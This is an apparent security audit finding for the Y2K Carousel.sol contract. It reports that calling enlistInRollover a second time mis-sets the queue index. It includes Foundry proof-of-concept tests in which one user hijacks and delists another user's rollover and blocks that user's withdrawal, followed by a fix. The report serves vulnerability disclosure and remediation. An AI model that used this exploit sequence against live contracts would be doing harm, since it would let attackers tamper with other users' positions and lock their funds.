Dug

medium

# Updating a queued rollover corrupts rollover accounting

## Summary

If a user makes subsequent calls to `enlistInRollover`, the accounting of `rolloverQueue` items becomes corrupted. 

## Vulnerability Detail

In `Carousel.sol`, the `enlistInRollover` function handles two primary cases, depending on whether the user has already enlisted in a rollover. 

If a user has an existing rollover in the queue, it will be updated in place with the new parameters. If the user does not have an existing rollover, a new one will be created and added to the end of queue. 

However, as the function resolves, it will always set `ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;` 

```solidity
if (ownerToRollOverQueueIndex[_receiver] != 0) {
    // if so, update the queue
    uint256 index = getRolloverIndex(_receiver);
    rolloverQueue[index].assets = _assets;
    rolloverQueue[index].epochId = _epochId;
} else {
    // if not, add to queue
    rolloverQueue.push(
        QueueItem({
            assets: _assets,
            receiver: _receiver,
            epochId: _epochId
        })
    );
}
ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
```

This causes major issues should a user make subsequent calls to `enlistInRollover` .

Here's the basic scenario:
- Alice enlists in the rollover queue
- Bob then enlists in the rollover queue
- Alice calls `enlistInRollover` again, updating her rollover, which unfortunately also sets `ownerToRollOverQueueIndex[address(Alice)]` to the last index in the queue, which is Bob's rollover
- Alice could then make changes to Bob's rollover with another call to `enlistInRollover` or delist it entirely

## Impact

This can lead to multiple issues including other users' rollovers becoming edited or delisted and the inability of a user to withdraw funds due to bad array pointers.

### Proof of concepts
```solidity
function testCanDelistOtherRollovers() public {
    // create first epoch
    uint40 _epochBegin = uint40(block.timestamp + 1 days);
    uint40 _epochEnd = uint40(block.timestamp + 2 days);
    uint256 _epochId = 1;

    vault.setEpoch(_epochBegin, _epochEnd, _epochId);

    helperDepositInEpochs(_epochId, USER, false);
    helperDepositInEpochs(_epochId, USER2, false);

    // enlist first user in rollover for next epoch
    vm.startPrank(USER);
    vault.enlistInRollover(_epochId, 1 ether, USER);
    vm.stopPrank();

    // enlist second user in rollover for next epoch
    vm.startPrank(USER2);
    vault.enlistInRollover(_epochId, 8 ether, USER2);
    vm.stopPrank();

    // First user hijacks second user's rollover & delists it
    vm.startPrank(USER);
    vault.enlistInRollover(_epochId, 1 ether, USER);
    vault.delistInRollover(USER);
    vm.stopPrank();

    // resolve first epoch
    vm.warp(_epochEnd + 1 days);
    vm.startPrank(controller);
    vault.resolveEpoch(_epochId);
    vm.stopPrank();

    // create second epoch
    _epochBegin = uint40(block.timestamp + 1 days);
    _epochEnd = uint40(block.timestamp + 2 days);
    _epochId = 2;

    vault.setEpoch(_epochBegin, _epochEnd, _epochId);

    // simulate prev epoch win
    stdstore
        .target(address(vault))
        .sig("claimTVL(uint256)")
        .with_key(1)
        .checked_write(1000 ether);

    // let relayer rollover for users
    vm.startPrank(relayer);
    vault.mintRollovers(_epochId, 5000);
    vm.stopPrank();

    // assert only first user was rolled over
    assertEq(vault.rolloverAccounting(_epochId), 1);
    assertEq(vault.balanceOf(USER2, _epochId), 0);
}

function testCantWithdraw() public {
    // create first epoch
    uint40 _epochBegin = uint40(block.timestamp + 1 days);
    uint40 _epochEnd = uint40(block.timestamp + 2 days);
    uint256 _epochId = 1;
    uint256 _emissions = 100 ether;

    deal(emissionsToken, address(vault), 100 ether, true);
    vault.setEpoch(_epochBegin, _epochEnd, _epochId);
    vault.setEmissions(_epochId, _emissions);

    // first user deposits and makes small rollover
    vm.startPrank(USER);
    IERC20(UNDERLYING).approve(address(vault), 2 * relayerFee);
    vault.deposit(1, 2 * relayerFee, USER);
    vault.enlistInRollover(_epochId, relayerFee, USER);
    vm.stopPrank();

    // second user deposits and makes sets rollover
    helperDepositInEpochs(_epochId, USER2, false);
    vm.prank(USER2);
    vault.enlistInRollover(_epochId, 10 ether, USER2);

    // first user updates & delists rollover
    vm.startPrank(USER);
    vault.enlistInRollover(_epochId, 2 * relayerFee, USER);
    vault.delistInRollover(USER);
    vm.stopPrank();

    // resolve first epoch
    vm.warp(_epochEnd + 1 days);
    vm.startPrank(controller);
    vault.resolveEpoch(_epochId);
    vm.stopPrank();

    assertEq(vault.balanceOf(USER2, _epochId), 10 ether);
    assertEq(vault.balanceOfEmissions(USER2, _epochId), 10 ether);

    vm.prank(USER2);
    vm.expectRevert(); // Index out of bounds
    vault.withdraw(_epochId, 10 ether, USER2, USER2);
}
```

## Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L232-L271

## Tool used

Manual Review

## Recommendation

If a users existing rollover is updated, the `ownerToRollOverQueueIndex` should not be updated to the last item in the queue. This should only happen when adding a new rollover to the queue.

```diff
    if (ownerToRollOverQueueIndex[_receiver] != 0) {
        // if so, update the queue
        uint256 index = getRolloverIndex(_receiver);
        rolloverQueue[index].assets = _assets;
        rolloverQueue[index].epochId = _epochId;
    } else {
        // if not, add to queue
        rolloverQueue.push(
            QueueItem({
                assets: _assets,
                receiver: _receiver,
                epochId: _epochId
            })
        );
+       ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
    }
-   ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
```

